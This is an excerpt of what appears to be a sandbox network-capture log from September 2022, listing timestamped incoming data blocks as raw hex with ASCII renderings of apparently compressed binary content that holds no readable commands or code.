c6 fb db d2 87 91 ff cd f8 d6 44 cd 12 fb c5 f8 de b2 0f 23 ff 7b f1 f5 f4 4a 1f 46 ec d7 e2 fd 6d e9 c3 88 2d 9f fb 68 d9 2d 
d1 fd 54 7a 3f b1 a5 73 1f 2d bb 25 ba 9f 6a ef 27 36 71 f7 d1 b2 59 62 bf 10 ef 6f 6b ef 27 ff fb f0 f5 86 58 7b 3f b1 5f 87 f7 
b7 b5 f7 93 ff 6d f8 fd f7 4b d4 2d d1 fd 54 7b 3f 55 bb d0 c9 35 f0 6a af 73 72 fd e3 55 cd f7 f7 5d 33 a2 c6 88 14 7c fa d1 
35 13 6a dc 90 fa e7 66 33 6a 8c c8 c0 6b 78 3f 9a 2d a8 31 a2 45 9f f3 ab 9e 9b 45 d4 b8 51 a2 cf cd 12 6a 8c c8 e1 4f f0 
0c 32 6a ac 0f 0c df bb 
Data Ascii: ?~q%e'~b?[~wE-]_.E;#5>D#{JFm-h-Tz?s-%j'6qYbok'X{?_mK-T{?U5jsrU]3|5jf3jkx?-1EEQjO2j

2022-09-20 10:10:08 UTC 1801 IN Data Raw: b8 6d e4 81 61 04 60 18 79 60 18 01 18 46 1e 18 46 00 86 91 07 86 11 80 61 e4 81 61 04 60 18 79 60 18 01 
18 46 1f 18 fe b8 35 19 58 e3 fb 0d 80 61 f4 81 61 eb 37 00 86 91 07 86 11 80 61 f4 81 e1 ad cb c0 1a df 6f 00 0c a3 0f 0c 
db ae 19 80 61 e4 81 61 04 60 18 f9 d4 d5 08 c0 30 f2 c0 30 02 30 3c af c9 7e db 7a 9c 44 e4 81 61 04 60 18 f9 5a ae 11 
52 57 23 0f 0c 23 00 c3 e8 03 c3 7e 6f d0 6f 3c 30 8c 00 0c 23 0f 0c 23 00 c3 c8 03 c3 08 c0 30 fa c0 b0 ed 14 00 18 46 
1e 18 46 00 86 91 4f 5d 8d 00 0c 23 0f 0c 23 00 c3 e8 03 c3 f6 f9 0a 80 61 e4 81 61 04 60 18 79 60 18 01 18 46 1e 18 46 
00 86 d1 07 86 6d 56 06 60 18 79 60 18 01 18 9e d7 06 a3 6f c1 00 cf 0d 07 a9 23 8e 9c 7d 6e 18 a4 8e 38 92 f4 b9 e1 08 
ba e9 ed 6e de 1e fc d2 e9 ed 81 68 e1 f9 0f 96 f6 0a 9f 
Data Ascii: ma`y`FFaa`y`F5Xaa7aoaa`000<~zDa`ZRW##~oo<0##0FFO]##aa`y`FFmV`y`o#}n8nh

2022-09-20 10:10:08 UTC 1809 IN Data Raw: 6e d1 fe bb d8 fe 8b 7b a4 45 fb ef 62 fb 2f ee 73 16 ed bf 8b ed bf b8 57 59 b4 ff 2e a6 ff 7e c4 79 72 d1 fe bb 
98 fe fb 51 8c 49 ed bf 8b e9 bf 1f c5 98 d4 fe bb 98 fe fb 51 8c 0d ed bf 8b e9 bf 1f 45 ff 6a ff 5d 4c ff fd 28 fa 57 fb ef f2 8a
ec 59 fb 09 e7 d8 a8 fd 37 9a fe fb 09 e7 d8 a8 fd 37 9a fe fb 09 e7 9c a8 fd 37 9a fe fb 09 fb 37 6a ff 8d a6 ff 7e c2 fe 8d 
da 7f a3 e9 bf 9f 70 0d 8d da 7f a3 e9 bf 9f 70 ce 89 da 7f a3 e9 bf 9f 70 5c 45 ed bf d1 f4 df 4f 38 e7 44 ed bf d1 f4 df 4f 38
26 a3 f6 df 68 fa ef 3f c5 d8 d0 fe 1b 4d ff fd a7 e8 5f ed bf d1 f4 df 7f 8a 3e d2 fe 1b 4d ff fd 2c 7e b3 f6 df 68 fa ef 67 5c f7 
a3 f6 df 68 fa ef 67 5c f7 a3 f6 df f8 8a ec 45 8b eb 7e d2 fe 9b 4c ff fd 8c cf 39 69 ff 4d a6 ff 7e 46 3f 4a da 7f 93 e9 bf 9f 
71 
Data Ascii: n{Eb/sWY.~yrQIQEj]L(WY7777j~ppp\EO8DO8&h?M_>M,~hg\hg\E~L9iM~F?Jq

2022-09-20 10:10:08 UTC 1817 IN Data Raw: 3e 54 fc fe 07 fa bd 7b 56 a9 44 e7 1f 5e 1f 1b bf 4b ed a2 b5 c6 7b b7 b6 1b b5 d6 aa a1 f1 51 6a 93 d6 1a cf 
ea fb 9f 42 ab e7 3a f3 1c 75 b9 bf d2 07 a9 0f e6 49 ea 72 ff ac 8f 52 1f cc d3 c9 95 ff aa 02 1e e7 1f 5e d5 ca 75 7f d6 4c 
64 b6 ea 69 68 bb bb d6 b2 99 95 c3 ac 4a 6a 0c fc 69 cf 83 3e ee f9 fe 07 b6 9a da bd 69 d0 5a fa 5d 63 d6 ef 1a b3 f5 
ae a1 7f f3 a4 b5 d6 1c 2b 7f b3 5e 17 cc f3 ad d5 73 d6 eb c2 6c ad 0b 72 4c 2e 7a 5d 30 4f c7 16 91 57 83 3e 1e fb fe 07 
43 2b 9f f3 a2 d7 05 f3 6c 6d b9 2e e8 c3 b5 07 f3 a4 6b 39 3f eb a3 ae 87 c5 9a 73 a4 1f 2d 7a ce 31 cf c9 96 df a0 f4 41 
d9 83 79 52 b6 dc 9b e9 a3 b2 07 f3 ac 6c f5 ac f4 9c b3 58 71 f4 ea 59 a9 40 fa c1 3c 69 fb 9d ec 5f bd 37 33 cf da 96 6b 
8a 3e 6c 7b 30 4f db 56 bf 59 cf 1b e6 
Data Ascii: >T{VD^K{QjB:uIrR^uLdihJji>iZ]c+^slrL.z]0OW>C+lm.k9?s-z1AyRlXqY@<i_73k>l{0OVY

2022-09-20 10:10:08 UTC 1825 IN Data Raw: f4 d3 8b fd e9 f9 b5 5e ae f5 2e c2 d3 33 da 4b 4b a9 fb 87 5f e7 a5 7d 66 e8 a3 9c ad f2 72 6f d9 fb c9 af f1 f2 
ed cb 25 ea 96 f8 af 0d f0 b9 81 de e7 a7 de 4f 6c 75 97 7b cb de 4f c9 ad ff f0 e1 fd 25 6a 0b 05 5b d9 e5 78 9b 7b 3f f9 
75 5d ae b7 d9 dc fb 89 ad ea 72 6f d9 fb c9 af e9 d2 2c f5 7e 62 2b ba dc 5b f6 7e 62 eb b9 3c 5a 76 4b 74 3f e5 de 4f 7e 
2d 97 cb 9f 72 f7 27 b6 92 cb d1 f3 9d 1f 97 de fe f1 da 3f ac 7d ff b8 1a 11 a5 f2 41 ac 57 44 e9 e3 92 dd e7 af 7d 44 b0 
35 5c ee 2d fb 88 f0 2b b8 b4 9f d7 47 04 5b bf e5 de b2 8f 88 35 71 07 c7 3f 5a b6 8d 34 5b bb e5 de b2 8f 08 bf ba c9 b5 
e6 ae 7d 44 b0 b5 4d 8e 9e c7 fe b8 64 bf ad 6d bd 9f d8 ba 26 47 cf 07 7f 5c 72 75 46 1e 2d bb 25 ba 9f b6 de 4f 44 45 
93 f7 97 a8 5b a2 fb 69 eb fd e4 57 33 
Data Ascii: ^.3KK_}fro%Olu{O%j[x{?u]ro,~b+[~b<ZvKt?O~-r'?}AWD}D5\-+G[5q?Z4[}DMdm&G\ruF-%ODE[iW3

2022-09-20 10:10:08 UTC 1833 IN Data Raw: 70 60 c7 77 18 d4 84 38 58 c7 07 fd 29 94 6a 4a b4 0e 75 53 bf 56 4d 8a d6 91 6e 72 76 eb 27 ba b5 7f b3 f7 
a9 26 54 f3 38 37 79 9f 49 29 8d b9 58 d9 54 93 f1 40 94 f0 7f 69 a9 a6 63 7a 3e 0e 6a 42 b6 5e a4 55 af a8 29 39 4c b4 
cd 59 29 67 43 f9 49 dc e7 a2 94 0b fd 6b a3 52 1a bb be 16 f2 f3 b2 94 2a a5 35 07 c9 91 a0 26 a1 c7 bf c9 71 9b e5 f4 
bc ed 3b 71 12 c4 d5 f4 d0 5a eb 56 df 0b ed 21 7f 71 59 ad 13 19 84 dd 7b d3 5d 6b 8d df 2c ec 96 07 0e ef 5a 96 39 24 
88 49 4c 7c 4c 62 82 98 c4 f3 9a 38 70 e6 6c 17 40 c5 7e 83 4e 10 c9 98 f8 48 c6 04 91 8c 89 8f 64 4c 10 c9 98 f8 48 c6 
04 91 8c 89 3f f1 35 41 24 63 e2 23 19 13 44 32 26 3e 92 31 41 24 63 e2 23 19 13 44 32 26 3f 92 b1 7d ed 80 48 c6 c4 47 
32 26 88 64 4c 7e 24 63 9b 2e 20 92 31 f1 91 8c 09 22 19 
Data Ascii: p`w8X)jJuSVMnrv'&T87yI)XT@icz>jB^U)9LY)gCIkR*5&q;qZV!qY{]k,Z9$IL|Lb8pl@~NHdLH?5A$c#D2&>1
A$c#D2&?}HG2&dL~$c. 1"

2022-09-20 10:10:08 UTC 1841 IN Data Raw: a6 42 14 4d e5 0b d2 57 88 a2 a9 7c 14 4d 85 28 9a f3 9a b5 06 1e c0 47 d1 54 88 a2 f9 ff 94 dd dd d6 9d 36 
b6 ae ed fd 75 2c 73 c3 80 7e c0 3b 5f 73 52 9e 89 2b 4e 25 35 ec 9a b5 66 f6 04 48 e7 7f 08 df 18 bc 96 74 43 2d d3 1f 6f 
05 a7 d1 5b 7f 19 e2 47 e2 ea 12 bb 5d 45 53 df 4f ee a8 a2 d9 f5 2a 9a 1d 55 34 bb bd 18 41 ad 7e da b1 18 c1 ae 57 b3 
ec a8 66 d9 ed 6a 96 f6 4b a2 9a 65 d7 ab 59 76 54 b3 ec b6 51 b5 5f 12 46 b5 eb 46 b5 c3 a8 76 db a8 fa b1 a1 dd 74 a3 
da 61 54 bb be 18 c1 0e a3 da 75 a3 da 61 54 bb bd 18 41 3b 36 2c 46 b0 eb 46 b5 c3 a8 76 fb 6b e4 b5 b6 71 c7 d7 c8 9f 
db 16 62 3f 7a 36 8f b0 ef d7 3b fd 47 b6 80 30 f9 91 0f 48 db 75 48 db 01 69 bb be 62 c2 0e 48 db 75 48 db 01 69 bb 0d 
69 8f 1e d6 b3 e9 90 b6 03 d2 76 7d c5 84 1d 90 b6 eb 
Data Ascii: BMW|M(GT6u,s~;_sR+N%5fHtC-o[G]ESO*U4A~WfjKeYvTQ_FFvtaTuaTA;6,FFvkqb?z6;G0HuHibHuHiiv}

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1848 IN Data Raw: e8 06 ee 60 e0 cf ed ef 4f 94 7a 0b 7b f4 30 8f b0 ef 5f 83 97 b6 8b ef 02 c2 e4 3b 3c c4 dd e9 e2 ee 20 ee c7 
f6 7d 58 7b 56 c6 3e 5f f7 d8 96 0e ec b9 df f0 ee 14 76 b7 3e d5 29 57 5f 9e aa fe 53 cb 37 3a c4 c9 3d 01 d4 13 38 bd 9e 
c0 a1 9e e0 d8 be 0f 6b 37 88 38 e3 b7 d4 af 01 d4 13 38 bb 9e a0 be a3 73 a8 27 70 7a 3d 81 43 3d 81 b3 eb 09 da f8 0c 
f5 04 4e af 27 70 a8 27 70 76 3d 41 6b 37 d4 13 38 bd 9e c0 a1 9e c0 d9 f5 04 ed 4e 89 7a 02 a7 d7 13 38 d4 13 38 bb 
9e a0 1f 1b da 4d af 27 70 a8 27 70 76 3d c1 a3 87 f5 6c 7a 3d 81 43 3d 81 5b cc f5 4e 7f ed 61 bd 1b a0 d7 13 38 d4 13 
38 61 f9 f6 8f 2d 0c c7 a6 b7 1b ea 09 8e 6d b1 dd 16 bc a3 d3 eb 09 1c ea 09 9c 5d 4f 50 df 1b 3b d4 13 38 bd 9e c0 a1 
9e c0 d9 f5 04 ed d8 50 4f e0 f4 7a 02 87 7a 02 67 13 
Data Ascii: `Oz{0_;< }X{V>_v>)W_S7:=8k788s'pz=C=N'p'pv=Ak78Nz88M'p'pv=lz=C=[Na88a-m]OP;8POzzg

2022-09-20 10:10:08 UTC 1856 IN Data Raw: 5c 1e 9f e1 fe f1 89 cb 33 5c 1e 9f c1 18 0e 7e 65 e4 78 89 1c ef 3e da f6 fb 29 72 b8 44 de 2d eb 7e 3a ce 71 
bc 44 de 5c 9e 97 9c d3 25 52 bb 3c 5f 7b ba 4b e4 cd 2f 74 ce 39 5d 7e a1 bb 6e 02 86 da e1 d2 4d 88 f2 c9 17 2f 27 df 
f3 df 62 7b 3e f7 1c cf 91 df 09 fa 7f e4 bc 74 19 a3 d1 65 c4 4d 3e 5e bb 8c 32 16 a2 84 7c d3 4b c8 b7 8d bd 0b b9 14 79 
db f8 f8 d3 df ae 6d 1c 3f 9a 6f a0 fa b1 e1 0d 94 5e 42 be a1 84 7c b3 4b c8 db e3 1d 25 e4 9b 5e 42 be a1 84 7c d3 57 
71 da 50 42 be e9 25 e4 1b 4a c8 37 bb 84 bc 67 43 bb e9 25 e4 1b 4a c8 37 bb 84 bc bd 15 45 09 f9 a6 97 90 6f 28 21 df 
ec 12 f2 f6 7a 0c 25 e4 9b 5e 42 be a1 84 fc d8 1e a7 9b 9b 6f 7b f2 bf ed 39 5e 22 95 be d1 db 9e d3 29 f2 fe 4f 45 d2 fe 
9c d0 cb d6 37 94 ad 6f 76 d9 7a bb ea 50 b6 be 
Data Ascii: \3\~ex>)rD-~:qD\%R<_{K/t9]~nM/'b{>teM>^2|Kym?o^B|K%^B|WqPB%J7gC%J7Eo(!z%^Bo{9^")OE7ovzP

2022-09-20 10:10:08 UTC 1864 IN Data Raw: d0 db 66 d8 8f 0d ed a6 9b a1 87 19 7a db 0c db f5 06 33 f4 ba 19 7a 98 a1 b7 cd f0 6f 2d 1b da 4d 37 43 0f 33 
f4 b6 19 d6 de 8d 87 19 7a dd 0c 3d cc d0 eb 9f 7a f5 30 43 af 9b a1 87 19 7a db 0c 5b 36 98 a1 d7 cd d0 c3 0c bd be 62 
aa 87 19 7a dd 0c 3d cc d0 eb 66 e8 61 86 5e 37 43 0f 33 f4 fa 8a a9 1e 66 e8 75 33 f4 30 43 6f 9b e1 a3 87 f5 6c ba 19 
7a 98 a1 b7 cd b0 1d 1b cc d0 eb 66 e8 61 86 5e 37 43 0f 33 f4 ba 19 7a 98 a1 b7 cd b0 9d 25 30 43 af 9b a1 87 19 7a dd 
0c 3d cc d0 eb 66 e8 61 86 de 36 c3 76 9f 84 19 7a dd 0c 3d cc d0 db 66 d8 ee 25 30 43 af 9b a1 87 19 7a 7d 62 a1 87 
19 7a dd 0c 3d cc d0 db 66 58 df 28 79 98 a1 d7 cd d0 c3 0c bd be 62 aa 87 19 7a dd 0c 3d cc d0 eb df e1 f4 30 43 af 9b 
a1 87 19 7a dd 0c 3d cc d0 eb 66 e8 61 86 de 36 c3 96 0d 
Data Ascii: fz3zo-M7C3z=z0Cz[6bz=fa^7C3fu30Colzfa^7C3z%0Cz=fa6vz=f%0Cz}bz=fX(ybz=0Cz=fa6

2022-09-20 10:10:08 UTC 1872 IN Data Raw: 85 4f 33 e0 37 eb f0 9b 01 bf d9 86 df 76 4e 02 7e b3 0e bf 19 f0 9b 75 f8 cd 80 df ac c3 6f 06 fc 66 7d e2 65 06 
fc 66 1d 7e 33 e0 37 eb 0b 9f 66 c0 6f d6 e1 37 03 7e b3 0d bf 9f fe d1 c2 7a 36 1d 7e 33 e0 37 eb 0b 9f 66 c0 6f d6 e1 37 
03 7e b3 3e f1 32 83 70 b3 4e b8 19 84 9b 6d c2 ed d9 d0 6e 77 11 e7 6c 05 84 5b 6c c2 7d f4 b0 b9 87 c9 ed 56 40 b8 45 
ff 54 64 01 e1 16 9d 70 0b 08 b7 08 18 fb a1 85 21 9b dc 6e 05 18 5b 6c 8c ed c7 b6 21 9b de 6e c0 d8 22 60 ec 3f 5a 58 
cf a6 63 6c 01 c6 16 1b 63 eb 52 f3 05 18 5b 74 8c 2d c0 d8 a2 2f 7c 5a c0 aa 45 67 d5 02 56 2d 36 ab f6 63 43 bb e9 ac 
5a c0 aa 45 67 d5 02 56 2d 3a ab 16 b0 6a b1 59 b5 5d 01 60 d5 a2 b3 6a 01 ab 16 7d e2 65 01 90 96 97 7a de 68 6c 4f 
b5 41 63 8f 7f 95 92 6f 02 eb a3 bb ee fa 1f b1 37 
Data Ascii: O37vN~uof}ef~37fo7~z6~37fo7~>2pNmnwl[l}V@ETdp!n[l!n"`?ZXclcR[t-/|ZEgV-6cCZEgV-:jY]`j}ezhlOAco7

2022-09-20 10:10:08 UTC 1880 IN Data Raw: c2 81 7a 4e 3e 77 75 3d 4c 6f 37 60 df 6c 63 5f 3f 36 b4 9b 8e 7d 33 b0 6f b6 b1 af 9d 25 c0 be 59 c7 be 19 d8 
37 db d8 57 ef ca 33 b0 6f d6 b1 6f 06 f6 cd 36 f6 fd bd 65 c3 f5 a6 63 df 0c ec 9b f5 f5 63 67 60 df ac 63 df 0c ec 9b 6d ec 
7b f4 30 64 d3 db 0d d8 37 eb 9f e0 9d 81 7d b3 8e 7d 33 b0 6f b6 b1 af 8e 03 66 60 df ac 63 df 0c ec 9b ed f9 87 8f 1e 86 
6c 7a bb 01 fb 66 1b fb ea cc b2 19 d8 37 eb d8 37 03 fb 8e 6d b1 dd 5c 2f 9d 99 75 ec 9b 81 7d b3 8d 7d b5 c4 70 06 f6 
cd 3a f6 cd c0 be 59 9f 7f 38 03 fb 66 1d fb 66 60 df b1 7d f3 76 ac 5d da af fd c6 53 d4 cd 9a c6 55 10 8e fd a6 53 d4 dd 
9a c6 bf 20 ca 9d a2 6e 3e b4 76 ca e5 4f 51 37 9f 58 3b 1d 57 38 45 7d ff 73 53 e7 5c 11 51 f2 1d 12 60 3a eb 60 3a 03 
4c 67 1d 4c 67 80 e9 ac 83 e9 0c 30 9d 6d 
Data Ascii: zN>wu=Lo7`lc_?6}3o%Y7W3oo6eccg`cm{0d7}}3of`clzf77m\/u}}p:Y8ff`}v]SUS n>vOQ7X;W8E}sS\Q`:`:LgLg0m

2022-09-20 10:10:08 UTC 1887 IN Data Raw: f3 3f bf d6 a0 76 4c ea 8b ec e9 7d e8 c7 64 4f 23 79 7b 69 fe da b3 65 52 5f 2b 3f f7 ec c7 64 bf 54 ae 67 79 
e8 c7 a4 be e4 7d de 86 fb 31 d9 af 78 eb 95 1b fb 31 a9 af 5c 9f 7b f6 63 52 27 3c bc f6 c4 03 43 cd 34 bf c3 23 43 7e 30 
f5 63 52 5f 47 3e f7 c4 c3 c9 3c a6 b7 17 ad af 3d 7b 26 f9 98 96 7e 4c 42 69 fe 1f 35 a8 65 52 5f 7e 3d f7 ec c7 64 bf fa 
aa 4f c2 a5 1f 93 fa 2a 6a 7a 9f fa 31 d9 2f a2 ea af 97 fa 31 a9 2f 86 9e 7b f6 63 b2 5f 0b 7d f8 58 83 7a 26 f9 98 d6 7e 4c 
f6 4b 9a 5f 5b 50 cb a4 be 34 79 ee d9 8f c9 7e 65 f2 46 0a af 3d 7b 26 f9 98 b6 7e 4c f6 0b 8c 9a 69 eb c7 a4 be 50 98 de 
6f fd 98 36 b3 b7 f7 68 41 ed a9 a1 0e ef a7 f7 7b 3f 26 bb 14 b8 3e dd f7 7e 4c ea 80 74 7a 9f 7b 26 b5 78 f5 b5 67 cb a4 
0e a1 a6 f7 a5 67 b2 07 50 9f be d6 
Data Ascii: ?vL}dO#y{ieR_+?dTgy}1x1\{cR'<C4#C~0cR_G><={&~LBi5eR_~=dO*jz1/1/{c_}Xz&~LK_[P4y~eF={&~LiP
o6hA{?&>~Ltz{&xggP

2022-09-20 10:10:08 UTC 1895 IN Data Raw: 67 53 8c 2d 9e f3 bc 7a c3 d8 64 43 6f 2f 19 63 0b 0d fd 7d c6 e7 6c 8a b1 c9 86 7e 36 c5 d8 42 43 7f 77 e6 b3 
29 c6 26 cf 79 b6 97 09 63 93 d7 92 9e 4d 31 36 39 0f 38 9b 62 6c f2 4e fd 67 53 8c 4d ce 03 da cb 8c b1 85 79 c0 3b 73 
9d 4d 31 36 39 0f 38 9b 62 6c 61 1e f0 ed ea 0d 63 93 f3 80 f6 b2 60 6c f1 0e 9d af 5e 86 b1 c9 79 c0 d9 14 63 93 8d ea 
6c 8a b1 c9 46 d5 5e 56 8c 4d 5e 4b 7a 36 c5 d8 64 a3 3a 9b 62 6c f2 0c eb d9 14 63 93 8d aa bd 6c 18 9b 3c c3 7a 36 
c5 d8 64 a3 3a 9b 62 6c f2 0e 9d 67 53 8c 4d 36 aa f6 b2 63 6c f2 be 25 67 53 8c 4d 9e f3 6c 2f 05 bd 85 73 9e bf f8 d8 0a 
7a 93 8d ea 6c 8a 23 19 bf 17 e0 bb 97 e1 48 ca 46 d5 5e 0e 8c ed f8 38 47 fb 51 76 fd 4e 1e 23 ca f4 b1 1d 18 9b 3c e7 
79 36 c5 d8 64 a3 6a 2f 86 b1 85 46 f5 ee dd 67 53 7c 
Data Ascii: gS-zdCo/c}l~6BCw)&ycM1698blNgSMy;sM1698blac`l^yclF^VM^Kz6d:blcl<z6d:blgSM6cl%gSMl/szl#HF
^8GQvN#<y6dj/FgS|

2022-09-20 10:10:08 UTC 1903 IN Data Raw: ba 48 8a c5 39 5a ac 47 84 b2 ad fc f7 59 d4 11 16 d5 2b 4e c6 4f 42 14 3a 49 14 37 dd a2 87 48 93 44 09 71 
5a ec 38 99 7f 84 85 1e b0 7c eb 59 e2 61 96 78 c0 e8 11 d5 79 35 67 31 e6 14 5b c8 aa 00 b4 08 e6 8b b2 29 30 6c a8 
55 07 86 5a 75 60 78 ab 10 d7 3e 12 ec 60 15 49 46 af b4 a9 80 6d 72 f7 db 54 44 36 95 b0 4d c5 df bd 4d 41 b1 45 14 97 
1a 9d 46 2b 1b e7 17 65 65 14 a9 4f 6d 93 44 b0 fc bb b1 6a 01 5b 55 60 90 55 a2 78 a1 48 92 96 8b ab 6c 83 44 68 f1 77 
64 93 e8 24 ab 42 35 2d 18 7d d6 68 35 60 5d 58 94 55 0f 04 49 04 57 7c 5b 8b c4 6e b6 69 15 e1 06 9b 75 8d 71 96 cc 
5a 59 4b c7 01 e8 9a 14 8d 2f d0 9e 9f b3 9e 25 36 ac 24 c2 2f 59 e8 51 71 21 7e 1c 42 31 44 42 b9 e9 26 6f 24 69 e2 05 
9a 92 c9 cb 30 2d f3 4b d2 c2 96 7c 14 b2 cf 92 e4 fa b4 e4 5b 
Data Ascii: H9ZGY+NOB:I7HDqZ8|Yaxy5g1[)0lUZu`x>`IFmrTD6MMAEF+eeOmDj[U`UxHlDhwd$B5-}h5`]XUIW|[niuqZYK
/%6$/YQq!~B1DB&o$i0-K|[

2022-09-20 10:10:08 UTC 1911 IN Data Raw: 2e 8a 3b 4e 58 fd 0e 0b 9c 13 a4 19 13 6c 5f fa 41 34 60 71 3e 43 fa bb d1 fc 8f a1 4e ab 17 3a 64 78 9f b3 bc 
0b cb 4e 18 93 ee 7a cb dc 89 0b bc 4b b0 b6 90 f9 1e 83 be e3 7b ff 2b fd 8f d1 7b 8b cd 91 e7 89 f3 8e ff bb a5 e3 e9 5e 
87 fa 9e f2 3c e4 ba 92 de 27 be 97 fb 1e 32 9d ff 46 ff 43 9b 0e 4f 93 e7 09 c6 b8 f3 09 9e 4e f0 f7 78 8d f4 2b b2 ac ad 
80 88 62 95 a7 d4 f6 e2 69 26 ad b6 25 97 9b e8 f5 e9 9e e6 d5 ac f4 48 b0 4f 7a 76 5e 50 97 62 98 8f 3f 44 f3 71 f3 6d 63 
1f 37 e3 23 43 84 50 a1 63 a1 73 62 42 8e 72 cf bd 1f ec 90 5a 8a 58 e9 35 1a 7e 74 2d 40 13 ea 0c 5d b9 f4 32 7f bb 5a 
d6 59 de 81 cc 6b 91 d6 04 4a dd 0c 9d 8b fd 7d 52 df c1 3e 95 6d a0 cd c4 ac 6c a6 27 a8 ab b1 92 8c f5 81 32 a7 87 b9 
be 8f 66 46 24 7f bd ee 84 e5 05 14 a9 ef 98 
Data Ascii: .;NXl_A4`q>CN:dxNzK{+{^<'2FCONx+bi&%HOzv^Pb?Dqmc7#CPcsbBrZX5~t-@]2ZYkJ}R>ml'2fF$

2022-09-20 10:10:08 UTC 1919 IN Data Raw: 45 ce 04 5f 3f ff 0a f7 11 f4 2b ba c1 c8 a8 b5 d2 24 5d ee e9 c6 90 f2 12 87 e4 75 17 d2 b0 8a e5 90 8a ec 43 
ba f3 20 0f e9 94 c4 21 d1 09 82 87 95 0b 1a 9e 63 8c 6c 22 c6 db 61 8e ec 19 67 dc c8 32 fd 2b f2 f4 4e a2 2b 6d c6 5d 
e3 06 da ec ab a5 7c 62 0e a7 c0 d3 42 43 a9 25 61 7f 02 e1 5b 9d f1 64 24 85 c7 b0 d2 c7 58 16 80 7f 11 67 a9 05 7b 70 
4a 44 70 dc 2c 47 fa c1 82 14 25 0c 3a 91 0b 52 e1 60 94 c7 32 be 71 80 67 70 01 63 ba 35 83 7c 09 d4 7c 92 6b bb 3f d6 
db 99 4a 51 2b 91 8c 34 05 7c 7e db 1d 29 ac 94 91 53 a8 84 90 b1 db cc 93 ea d9 1b fd 00 1b 16 eb 3d 90 c5 52 3b 2e 
65 c8 81 dd 62 c3 a5 0d 77 13 c7 ff 97 71 f7 a5 03 8f 94 cf e3 e6 df c0 aa 46 a4 ba 9f 60 3c 69 c8 f9 7b 13 e7 ef d9 91 0c 
02 ef 85 93 43 e0 df fb ad 35 8c 83 40 83 5c c3 22 ac 
Data Ascii: E_?+$]uC !cl"ag2+N+m]|bBC%a[d$Xg{pJDp,G%:R`2qgpc5||k?JQ+4|~)S=R;.ebwqF`<i{C5@\"

Timestamp
kBytes
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2022-09-20 10:10:08 UTC 1926 IN Data Raw: 04 17 bf 94 de eb ad e8 01 dc cb 7f 71 b6 93 85 d8 2c 37 6f 11 5c b3 63 53 4f fe 7a a0 42 23 45 4e d1 02 df 29 
fa 35 59 a9 f0 ad a4 41 64 f0 fa 8f 66 ac 61 77 92 f3 f4 ab 94 c8 df 84 b4 e2 1c 66 c7 9c 0c 00 fe b5 4f c4 30 4a ed 5f 46 
33 0a 3e 4a 9f fc 37 66 1f 44 1f d1 27 00 d1 ea a3 ec 10 3b 44 37 fc 96 c3 c8 39 4b ce 23 5c 11 92 86 a7 db f8 8c 08 6f 24 
4f ca 4c bf 62 a3 19 21 6a 26 b2 8b f8 87 e1 c9 1a 68 c6 ef 40 cc 1c 3a ca 15 c0 97 3a 16 3d 20 5d 38 7a e3 80 35 e1 97 
7c 8e 8c 7d f3 e1 6c e4 9b 09 47 a3 74 5f 11 f3 3e a1 26 65 bd 4d 27 c7 24 f2 a6 33 11 ec 47 b3 2e 1d c2 01 25 7c 63 62 
f1 39 16 7b 25 b7 c0 3c a2 f1 08 e6 78 c8 36 fe b5 45 7c b1 fb a6 dc 62 ec bf 13 6d 37 26 f7 1c 28 e3 37 c4 4e 6e 40 79 
aa 9e 2f 09 4c 76 48 84 fa ca 91 06 0d 50 ee 82 
Data Ascii: q,7o\cSOzB#EN)5YAdfawfO0J_F3>J7fD';D79K#\o$OLb!j&h@::= ]8z5|}lGt_>&eM'$3G.%|cb9{%<x6E|bm7&
(7Nn@y/LvHP

2022-09-20 10:10:08 UTC 1934 IN Data Raw: f9 cf fe 18 3e 13 ee f8 bf 4b 25 8a b1 14 d0 f6 7f cc 14 25 b2 49 ba 95 36 97 9e a1 05 4f 11 94 a7 08 b6 84 6f 
8a 40 96 ee f0 35 a9 25 9b b5 c0 f3 08 78 f9 85 de 51 b2 79 ae 2b f2 e4 7e 76 05 2d d9 a7 05 7e bf 9f 47 ff 5b 71 9f f7 5b 
ee f7 9b 12 38 20 04 66 d1 a7 92 3d 5a 60 fa 7e 8e f5 ff 5b 60 4d f0 63 b3 bf f0 28 b5 84 f1 a1 66 3f 9f fa cb a4 2c 44 1c 
60 3f 8f a2 8c 85 db 74 16 75 47 39 58 a0 1f 05 16 3d 59 1f 05 b9 77 aa 3e ca c5 92 d4 a8 6c b6 64 1c 85 68 12 5e 7d 14 
b8 ea 6c 7d 54 9e 08 d2 f8 73 67 37 08 a5 37 e2 10 96 c4 b9 b8 c2 d0 fe 25 18 bf 3d b4 de 04 8c 3f df 27 dc fc de 81 f5 5b 
1d 06 f7 1a fd e2 55 15 8f cf 74 ca ab a9 c8 13 f4 cb 98 bd ea 08 79 96 93 6c d7 89 44 c7 1c 07 ef 1b c6 ec fe de 41 fe ae 
1c ef 29 10 43 3d 5b f8 3e ea 62 96 ed 64 
Data Ascii: >K%%I6Oo@5%xQy+~v-~G[q[8 f=Z`~[`Mc(f?,D`?tuG9X=Yw>ldh^}l}Tsg77%=?'[UtylDA)C=[>bd

2022-09-20 10:10:08 UTC 1942 IN Data Raw: 73 4b fa c8 9c 8e 91 1c ac a2 63 64 1e 37 5d 99 ac e9 ea 23 9a fe 4c fd 1f 35 cd 4b b2 fd 70 92 a6 7f 54 12 9b 
9e f5 2b 9b 56 6d 4d 3f 70 58 2c 01 32 26 80 58 02 78 e1 6a ce 4e 4f 00 54 f7 0b 00 66 da 00 1e a8 15 6b ec da 9c b0 d6 
a6 0e fd 65 db 5a bf fc b2 b9 d6 bf 39 72 0e 5e 4f dc f8 83 08 d5 f9 66 1f 8c 6a 14 d6 92 d1 52 37 2c c4 bc 52 8a 3d 9f 27 
f4 fb cf 24 fd 16 5b fd 22 ee c6 b2 7f 00 b7 1c f1 b8 e5 bb c9 8e 57 6c 94 78 af ec 21 2f a1 87 7f 27 c1 e2 8f ff 65 f6 50 4d 
b5 de 74 31 30 09 4c dc 4d e4 34 fc 62 53 44 84 a1 6c 1c 56 e5 bb a9 f1 6e b5 d2 77 7d e3 dd 29 13 7c 57 d9 7b e6 52 
4e 6a 23 d4 c8 90 e8 a4 b5 45 d8 77 04 d6 0c d7 a8 61 47 a3 fe 20 83 0c aa 3f 47 93 ac c6 8b 28 34 b6 c5 1d 65 bc 96 7a 
4d 4e a4 85 64 a6 65 ff c4 6c 33 12 66 5b 63 ef 
Data Ascii: sKcd7]#L5KpT+VmM?pX,2&XxjNOTfkeZ9r^OfjR7,R='$["Wlx!/'ePMt10LM4bSDlVnw})|W{RNj#EwaG ?G(4e
zMNdel3f[c

